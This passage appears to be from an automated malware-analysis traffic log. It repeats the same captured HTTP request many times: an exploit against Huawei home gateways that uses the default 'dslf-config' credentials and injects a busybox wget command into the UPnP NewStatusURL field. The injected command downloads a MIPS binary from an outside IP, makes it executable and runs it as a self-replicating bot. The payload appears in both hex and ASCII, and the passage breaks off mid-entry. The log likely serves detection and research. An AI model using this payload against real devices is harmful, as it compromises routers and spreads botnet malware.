/tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 